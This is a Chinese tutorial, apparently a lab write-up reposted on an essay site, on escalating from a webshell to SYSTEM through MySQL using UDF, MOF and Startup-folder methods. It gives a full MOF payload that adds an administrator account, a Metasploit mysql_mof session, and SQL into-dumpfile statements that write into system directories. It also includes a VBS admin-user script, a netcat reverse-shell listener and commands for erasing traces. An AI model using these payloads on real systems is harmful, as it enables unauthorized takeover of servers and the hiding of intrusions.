900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > MySQL提权总结与记录-UDF/MOF/启动项提权

MySQL提权总结与记录-UDF/MOF/启动项提权

时间:2021-08-26 23:59:20

相关推荐

MySQL提权总结与记录-UDF/MOF/启动项提权

0x00 Mysql提权基础

Mysql提权主要是需要利用高权限的Mysql用户进行操作,拿用户主要是下列几种方式

注入上传getshell查看网站数据库配置信息拿到用户密码弱口令mysql系统漏洞,比如CVE--2122身份认证漏洞

这里提权也指的是从网站用户权限提升到数据库软件用户权限,比如数据库软件是普通用户权限运行,提权后就只能到普通用户权限,如果是管理员身份运行,则提权后可以到administrator或者system权限。

接下来对常见提权方式做一次总结与学习

提权环境:windows server 、以administrator身份运行的mysql,以network service身份运行的iis,假设已经拿到了webshell,但是权限只有network service的情况。

0x01 UDF提权

具体原理之前已经分析过,详情可见MYSQL UDF提权,这里简单复现一下。

由于已经拿到webshell,直接上传udf.php提权脚本

填入对应信息即可

点击Dump UDF,即可导出udf文件。

接着创建函数后,就可以执行语句了。

显示提权成功,拿到system权限

这里还可以使用反弹端口提权,创建新的函数,算是udf提权的一种新的用法。

创建成功后,可以使用命令反弹cmd,先在本机使用nc -vvp 12345接着

执行命令后,可以看到cmd成功反弹,并验证权限。

0x02 MOF提权

MOF提权是一个有历史的漏洞,基本上在Windows Server 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF里面有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果MySQL有权限操作mof目录的话,就可以来执行任意命令了。

这里一样直接用现成的msf中的exp来打了,注意,如果是用msf来打需要3306开启外连。

msf6 > use exploit/windows/mysql/mysql_mofmsf6 exploit(windows/mysql/mysql_mof) > set rhosts 192.168.181.203rhosts => 192.168.181.203msf6 exploit(windows/mysql/mysql_mof) > set username rootusername => rootmsf6 exploit(windows/mysql/mysql_mof) > set password ciscopassword => cisco

exploit后成功上线,提权成功

如果没有3306外连的情况,就等自己手动导入mof文件了。文件内容如下

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test Q!w2e3r4 /add \")\nWSH.run(\"net.exe localgroup administrators test /add \")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

重点就在下面这段代码,可以自由更换命令

接着将这段代码传到网站中,利用mysql将内容写入到目录中

select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/test.mof") into dumpfile "c:/windows/system32/wbem/mof/test.mof";

写好后,一会就创建好用户,并加入到了管理员组,提权成功。

手动需要注意清理痕迹的问题,因为会自动增加用户,需要先暂时关闭winmgmt服务再删除相关mof文件,最后再删除用户

# 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user test /delete# 重新启动服务net start winmgmt

0x02 启动项提权

Windows的启动项可以被MySQL写入的时候可以使用MySQL将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

这个在msf也有对应的模块可以使用,但是对中文路径支持不是特别好,而且还需要等待用户上线才能反弹shell,比较麻烦,所以这里就复现手工操作

这里的操作系统是中文的win,目录为C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/

vbs执行基础命令如下:

Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "net user test1 Q!w2e3r4 /add", 0WshShell.Run "net localgroup administrators test1 /add", 0

这里尝试过了很多种方法,蚁剑写入失败、大马写入失败,navicat外连也写入失败

判断结果还是中文路径的问题,但是在本身的cmd当中,是可以成功写入的。

select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/vbs.txt") into dumpfile "C:\\Documents and Settings\\Administrator\\「开始」菜单/程序\\启动\\test.vbs";

重启后也是能看到新建用户

这个中文一时没想到好的解决方法,而且此漏洞也需要配合重启才能生效,暂时先这样,以后万一真碰到了再想办法解决。

0x03 总结

总体来说,还是感觉udf提权靠谱好用,除了从web权限提权到系统权限外,关于数据库本身也有一些提权漏洞,类似CVE--6662CVE--6663CVE--6664留待后续再复现。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。